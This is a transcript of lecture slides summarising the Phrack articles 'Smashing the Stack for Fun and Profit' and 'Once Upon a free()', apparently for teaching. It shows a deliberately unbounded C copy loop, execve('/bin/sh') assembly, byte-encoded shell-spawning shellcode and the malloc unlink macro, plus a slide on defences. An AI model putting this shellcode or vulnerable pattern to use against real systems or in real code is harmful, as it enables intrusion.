1 / 33

A Phrack Double Feature ~ Smashing the Stack for Fun and Profit and Once Upon a Free()…

A Phrack Double Feature ~ Smashing the Stack for Fun and Profit and Once Upon a Free()…. By Aleph One and Anonymous ~ Joe Tucek. Phrack. Hacker e-magazine published since 1985 First on BBSes, now on the internet Articles accepted from anyone Generally high level of technical content

wilona
Download Presentation

A Phrack Double Feature ~ Smashing the Stack for Fun and Profit and Once Upon a Free()…

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. A Phrack Double Feature~Smashing the Stack for Fun and ProfitandOnce Upon a Free()… By Aleph One and Anonymous ~ Joe Tucek

  2. Phrack • Hacker e-magazine published since 1985 • First on BBSes, now on the internet • Articles accepted from anyone • Generally high level of technical content • Compared to other hacker magazines • Also, not academic technical content • Most famous articles include • “The Hacker Manifesto” by The Mentor • “Smashing the Stack for Fun and Profit” by Aleph1

  3. Smashing the Stack for Fun… • Walks through the basics of stack-based buffer overruns • From November 1996 • Despite being almost 9 years old, still the basis for many attacks • Defenses exist • Can be expensive • Poorly deployed

  4. The Stack

  5. Buggy Program void buggy(char * in){ int i; char buffer[4]; for(i=0; in[i]!=0; i++) buffer[i] = in[i]; } What happens if in is “Aleph One”?

  6. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Program will start copying…

  7. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Program will start copying…

  8. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Program will start copying…

  9. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Program will start copying…

  10. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Program will start copying… and continue.

  11. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • C isn’t bounds checked…

  12. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • What happens next?

  13. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • We’ve overwritten the return address!

  14. Buggy Code’s Stack A l e p h _ O n e \0 41 6C 65 70 68 20 4F 6E 65 00 • Notice anything unusual about this particular return address?

  15. So what? • OK, so we can make programs crash. • Actually, we can make them do anything we want… • Computers are Von Neumann architecture • “a computer design model that uses a single storage structure to hold both programs and data” – Wikipedia • Instructions and data aren’t differentiated…

  16. ##execve(“/bin/sh”); pushl %ebp movl %esp, %ebp pushl %ebx movl $0xb, %eax movl 0x8(%ebp), %ebx movl 0cx(%ebp), %exc movl 0x10(%ebp), %edx int $0x80 movl %eax, %edx testl %edx, %edx ... An introduction to shellcode • execve() runs the command it is passed • The assembly is two parts • Function call prelude • The actual work

  17. ##execve(“/bin/sh”, 0, 0); pushl %ebp movl %esp, %ebp pushl %ebx movl $0xb, %eax movl 0x8(%ebp), %ebx movl 0cx(%ebp), %exc movl 0x10(%ebp), %edx int $0x80 movl %eax, %edx testl %edx, %edx ... An introduction to shellcode • First we set up some arguments • Which system call (0xb into EAX) • Argument to system call (pointer into EBX) • Misc arguments (ECX and EDX) • Then call interrupt 0x80

  18. So how is this shellcode? • We can write a version which is self contained • Contains the necessary strings, does the setup, everything… \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3

  19. So how is this shellcode? • We can write a version which is self contained • Contains the necessary strings, does the setup, everything… \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3 • But it also has a few null bytes… • for(i=0; in[i]!=0; i++)

  20. So how is this shellcode? • We can write a version which is self contained • Contains the necessary strings, does the setup, everything… \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh • A total of 46 bytes • It will even call exit(0) when it’s done… • Just imagine what one could do with a few thousand bytes…

  21. Recap • We find a buffer that we can write past the end of • We put some of our own attack code in it • We also put the address of our code in the return address slot of the stack • When the current function returns, we’ll be transferred to our code, and then we grab control

  22. Anatomy of a stack overflow

  23. Anatomy of a stack overflow

  24. Anatomy of a stack overflow

  25. Anatomy of a stack overflow • We have a region of NOPs to help us jump • We have some exploit code • We have a block of possible addresses to jump to • Does it work? • YES

  26. Advanced Tricks • We can • Put code AFTER the return address • Put code in an environment variable • Try over and over and over again • Given the binary, calculate (sometimes) exact offsets • Have our exploit code simply “bootstrap” to bigger & better things

  27. Once Upon a free()… • Rather than overflowing the stack, overflow the heap • But the return address is nowhere near the heap! • It is still quite possible • Demonstrated by Solar Designer with a bug in Netscape’s JPEG handling routine

  28. Once upon a (GNU) malloc()… • Malloc must manage both allocated and free chunks of memory

  29. More malloc() • In practice, they’re laid out one after another • Never two free blocks in a row though • GCC will consolidate them, so as to have large chunks of contiguous free space • The consolidation code is what we’ll attack.

  30. Consolidation in brief • Use the size field to find the next block • Check the bits in its size to see if it’s free • If not, stop • (Boring) • Extract the “next” block from the linked list • Ahh, pointers that we blindly trust

  31. Exploit in short #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }

  32. Summary • Stack overflows are “easy” to do • So people look for the now • Heap overflows are “hard” • Require precise addresses • Must wait for a “free” • BUT – still quite doable, and not as guarded agaist

  33. Guarding against exploits • Stack • StackGuard, MemGuard • High overhead, poorly deployed • Stack Randomization • Just try over and over and over • Or (if local), one can try attaching a debugger… • Heap (& stack too) • Heap & Library Randomization • See “Stack Randomization” • Requires “PIC” code—breaks some things • W^X (non-executable areas) • Breaks some code (JIT compilers, Photoshop) • Poor support on x86 (x86 extensions support it)

More Related